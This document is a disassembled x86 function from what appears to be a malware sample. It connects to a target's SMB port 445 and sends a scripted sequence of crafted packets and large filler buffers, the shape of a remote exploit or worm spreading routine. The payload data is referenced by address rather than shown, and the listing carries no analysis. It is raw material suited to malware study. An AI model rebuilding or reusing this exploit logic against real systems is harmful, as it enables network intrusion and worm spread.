Assembly Code of File sub_31001262
sub_31001262 proc near ; CODE XREF: sub_31001F41 + 36p
; sub_31001FA5 + 48p ...
var_89E4 = byte ptr - 89E4h
var_897C = byte ptr - 897Ch
var_690C = byte ptr - 690Ch
var_689C = byte ptr - 689Ch
var_5DD8 = byte ptr - 5DD8h
var_4834 = byte ptr - 4834h
var_4833 = byte ptr - 4833h
var_37A0 = byte ptr - 37A0h
var_2CDC = byte ptr - 2CDCh
var_2CDB = byte ptr - 2CDBh
var_2CD8 = byte ptr - 2CD8h
var_24F4 = byte ptr - 24F4h
var_24E4 = byte ptr - 24E4h
var_21C0 = byte ptr - 21C0h
var_21BC = byte ptr - 21BCh
var_21B0 = byte ptr - 21B0h
var_1F28 = byte ptr - 1F28h
var_1EAC = byte ptr - 1EACh
var_16DC = byte ptr - 16DCh
var_1231 = byte ptr - 1231h
var_F44 = byte ptr - 0F44h
var_EA4 = byte ptr - 0EA4h
var_798 = dword ptr - 798h
var_788 = byte ptr - 788h
var_774 = byte ptr - 774h
var_730 = byte ptr - 730h
var_134 = byte ptr - 134h
var_133 = byte ptr - 133h
var_E4 = byte ptr - 0E4h
var_E1 = byte ptr - 0E1h
var_B7 = byte ptr - 0B7h
var_B5 = byte ptr - 0B5h
var_B4 = byte ptr - 0B4h
var_6C = byte ptr - 6Ch
var_4C = byte ptr - 4Ch
var_24 = word ptr - 24h
var_22 = word ptr - 22h
var_20 = dword ptr - 20h
var_14 = dword ptr - 14h
var_10 = dword ptr - 10h
var_C = dword ptr - 0Ch
var_6 = byte ptr - 6
var_5 = byte ptr - 5
var_4 = dword ptr - 4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 89E4h
call sub_31002BA0
mov eax, dword_310049CC
push ebx
push edi
push 1
pop edi
xor ebx, ebx
mov [ ebp + var_14 ], eax
mov eax, dword_310049D0
push ebx
push edi
push 2
mov [ ebp + var_10 ], eax
mov [ ebp + var_C ], edi
call dword_31001158 ; socket
cmp eax, 0FFFFFFFFh
mov [ ebp + var_4 ], eax
jz loc_310017C2
push esi
mov esi, [ ebp + arg_0 ]
push 1Dh
push esi
call dword_3100115C ; inet_ntoa
push eax
lea eax, [ ebp + var_6C ]
push eax
call dword_31001084 ; lstrcpynA
lea eax, [ ebp + var_6C ]
push eax
lea eax, [ ebp + var_4C ]
push offset loc_310049C0
push eax
call dword_3100111C ; wsprintfA
add esp, 0Ch
xor ecx, ecx
lea eax, [ ebp + var_133 ]
loc_310012D5: ; CODE XREF: sub_31001262 + 83j
mov dl, [ ebp + ecx + var_4C ]
mov [ eax - 1 ], dl
and byte ptr [ eax ], 0
inc ecx
inc eax
inc eax
cmp ecx, 28h
jl short loc_310012D5
push 60h
lea eax, [ ebp + var_E4 ]
push offset dword_310044E0
push eax
call sub_31002B98 ; memcpy
lea eax, [ ebp + var_4C ]
push eax
call sub_31002B92 ; strlen
shl eax, 1
push eax
lea eax, [ ebp + var_134 ]
push eax
lea eax, [ ebp + var_B4 ]
push eax
call sub_31002B98 ; memcpy
add esp, 1Ch
lea eax, [ ebp + var_4C ]
push 9
push (offset aC + 3)
push eax
call sub_31002B92 ; strlen
pop ecx
lea eax, [ ebp + eax * 2 + var_B5 ]
push eax
call sub_31002B98 ; memcpy
lea eax, [ ebp + var_4C ]
push eax
call sub_31002B92 ; strlen
add al, 1Ah
push edi
shl al, 1
mov [ ebp + var_5 ], al
lea eax, [ ebp + var_5 ]
push eax
lea eax, [ ebp + var_E1 ]
push eax
call sub_31002B98 ; memcpy
lea eax, [ ebp + var_4C ]
push eax
call sub_31002B92 ; strlen
shl al, 1
add al, 9
push edi
mov [ ebp + var_6 ], al
lea eax, [ ebp + var_6 ]
push eax
lea eax, [ ebp + var_B7 ]
push eax
call sub_31002B98 ; memcpy
push 0E29h
lea eax, [ ebp + var_1F28 ]
push 31h
push eax
call sub_31002B8C ; memset
push 10h
lea eax, [ ebp + var_24 ]
push ebx
push eax
call sub_31002B8C ; memset
add esp, 44h
mov [ ebp + var_24 ], 2
push 1BDh
call dword_31001160 ; ntohs
mov [ ebp + var_22 ], ax
lea eax, [ ebp + var_24 ]
push 10h
push eax
push [ ebp + var_4 ]
mov [ ebp + var_20 ], esi
call dword_31001164 ; connect
cmp eax, 0FFFFFFFFh
jz loc_310017B8
mov esi, dword_31001080
mov edi, 0C8h
push edi
call esi ; Sleep
push ebx
mov ebx, dword_31001168
push 89h
push offset dword_310042C8
push [ ebp + var_4 ]
call ebx ; send
push edi
call esi ; Sleep
push 0
lea eax, [ ebp + var_774 ]
push 640h
push eax
push [ ebp + var_4 ]
call dword_3100116C ; recv
cmp eax, 0FFFFFFFFh
jz loc_310017AD
push 0
push 0A8h
push offset dword_31004354
push [ ebp + var_4 ]
call ebx ; send
push edi
call esi ; Sleep
push 0
lea eax, [ ebp + var_774 ]
push 640h
push eax
push [ ebp + var_4 ]
call dword_3100116C ; recv
cmp eax, 0FFFFFFFFh
jz loc_310017AD
push 0
push 0DEh
push offset dword_31004400
push [ ebp + var_4 ]
call ebx ; send
push edi
call esi ; Sleep
push 0
lea eax, [ ebp + var_774 ]
push 640h
push eax
push [ ebp + var_4 ]
call dword_3100116C ; recv
cmp eax, 0FFFFFFFFh
jz loc_310017AD
cmp eax, 46h
jl loc_310017AD
cmp [ ebp + var_730 ], 31h
jnz loc_31001658
and [ ebp + arg_0 ], 0
push 7D0h
lea eax, [ ebp + var_F44 ]
push 90h
push eax
call sub_31002B8C ; memset
add esp, 0Ch
push offset byte_31004000
call dword_3100107C ; lstrlenA
push eax
lea eax, [ ebp + var_EA4 ]
push offset byte_31004000
push eax
call sub_31002B98 ; memcpy
add esp, 0Ch
lea eax, [ ebp + var_14 ]
push eax
call dword_3100107C ; lstrlenA
push eax
lea eax, [ ebp + var_14 ]
push eax
lea eax, [ ebp + var_788 ]
push eax
call sub_31002B98 ; memcpy
mov eax, dword_31004906
add esp, 0Ch
mov [ ebp + var_798 ], eax
loc_310014F9: ; CODE XREF: sub_31001262 + 4E1j
movsx eax, [ ebp + var_5 ]
add eax, 4
push 0
push eax
lea eax, [ ebp + var_E4 ]
push eax
push [ ebp + var_4 ]
call ebx ; send
push edi
call esi ; Sleep
push 0
lea eax, [ ebp + var_774 ]
push 640h
push eax
push [ ebp + var_4 ]
call dword_3100116C ; recv
cmp eax, 0FFFFFFFFh
jz loc_310017AD
push 0
push 68h
push offset dword_31004544
push [ ebp + var_4 ]
call ebx ; send
push edi
call esi ; Sleep
push 0
lea eax, [ ebp + var_774 ]
push 640h
push eax
push [ ebp + var_4 ]
call dword_3100116C ; recv
cmp eax, 0FFFFFFFFh
jz loc_310017AD
push 0
push 0A0h
push offset dword_310045B0
push [ ebp + var_4 ]
call ebx ; send
push edi
call esi ; Sleep
push 0
lea eax, [ ebp + var_774 ]
push 640h
push eax
push [ ebp + var_4 ]
call dword_3100116C ; recv
cmp eax, 0FFFFFFFFh
jz loc_310017AD
cmp [ ebp + arg_0 ], 0
jz loc_31001748
push 68h
lea eax, [ ebp + var_89E4 ]
push offset dword_31004768
push eax
call sub_31002B98 ; memcpy
lea eax, [ ebp + var_4834 ]
push 1B5Ah
push eax
lea eax, [ ebp + var_897C ]
push eax
call sub_31002B98 ; memcpy
push 70h
lea eax, [ ebp + var_690C ]
push offset dword_310047D4
push eax
call sub_31002B98 ; memcpy
lea eax, [ ebp + var_37A0 ]
push 0A5Eh
push eax
lea eax, [ ebp + var_689C ]
push eax
call sub_31002B98 ; memcpy
push 84h
lea eax, [ ebp + var_5DD8 ]
push offset dword_31004848
push eax
call sub_31002B98 ; memcpy
add esp, 3Ch
lea eax, [ ebp + var_89E4 ]
push 0
push 10FCh
push eax
push [ ebp + var_4 ]
call ebx ; send
push edi
call esi ; Sleep
push 0
lea eax, [ ebp + var_774 ]
push 640h
push eax
push [ ebp + var_4 ]
call dword_3100116C ; recv
cmp eax, 0FFFFFFFFh
jz loc_310017AD
push 0
push 0FDCh
lea eax, [ ebp + var_690C ]
jmp loc_310017A0
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_31001658: ; CODE XREF: sub_31001262 + 22Bj
push 0DACh
lea eax, [ ebp + var_2CD8 ]
push 90h
push eax
mov [ ebp + arg_0 ], 1
call sub_31002B8C ; memset
push 4
lea eax, [ ebp + var_24F4 ]
push offset dword_31004940
push eax
call sub_31002B98 ; memcpy
push offset byte_31004000
call sub_31002B92 ; strlen
push eax
lea eax, [ ebp + var_24E4 ]
push offset byte_31004000
push eax
call sub_31002B98 ; memcpy
push 4
lea eax, [ ebp + var_21C0 ]
push offset loc_310049B8
push eax
call sub_31002B98 ; memcpy
push 4
lea eax, [ ebp + var_21BC ]
push offset dword_31004940
push eax
call sub_31002B98 ; memcpy
add esp, 40h
push offset byte_31004000
call sub_31002B92 ; strlen
push eax
lea eax, [ ebp + var_21B0 ]
push offset byte_31004000
push eax
call sub_31002B98 ; memcpy
add esp, 10h
xor ecx, ecx
lea eax, [ ebp + var_4833 ]
loc_310016F4: ; CODE XREF: sub_31001262 + 4A8j
mov dl, [ ebp + ecx + var_2CD8 ]
mov [ eax - 1 ], dl
and byte ptr [ eax ], 0
inc ecx
inc eax
inc eax
cmp ecx, 0DACh
jl short loc_310016F4
and [ ebp + var_2CDC ], 0
and [ ebp + var_2CDB ], 0
push 1C52h
lea eax, [ ebp + var_89E4 ]
push 31h
push eax
call sub_31002B8C ; memset
push 1C52h
lea eax, [ ebp + var_690C ]
push 31h
push eax
call sub_31002B8C ; memset
add esp, 18h
jmp loc_310014F9
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
loc_31001748: ; CODE XREF: sub_31001262 + 339j
push 7Ch
lea eax, [ ebp + var_1F28 ]
push offset dword_31004654
push eax
call sub_31002B98 ; memcpy
lea eax, [ ebp + var_F44 ]
push 7D0h
push eax
lea eax, [ ebp + var_1EAC ]
push eax
call sub_31002B98 ; memcpy
push 90h
lea eax, [ ebp + var_16DC ]
push offset dword_310046D4
push eax
call sub_31002B98 ; memcpy
add esp, 24h
and [ ebp + var_1231 ], 0
lea eax, [ ebp + var_1F28 ]
push 0
push 0CF8h
loc_310017A0: ; CODE XREF: sub_31001262 + 3F1j
push eax
push [ ebp + var_4 ]
call ebx ; send
push edi
call esi ; Sleep
and [ ebp + var_C ], 0
loc_310017AD: ; CODE XREF: sub_31001262 + 1ADj
; sub_31001262 + 1E1j ...
push 2
push [ ebp + var_4 ]
call dword_31001170 ; shutdown
loc_310017B8: ; CODE XREF: sub_31001262 + 166j
push [ ebp + var_4 ]
call dword_31001174 ; closesocket
pop esi
loc_310017C2: ; CODE XREF: sub_31001262 + 37j
mov eax, [ ebp + var_C ]
pop edi
pop ebx
leave
retn
sub_31001262 endp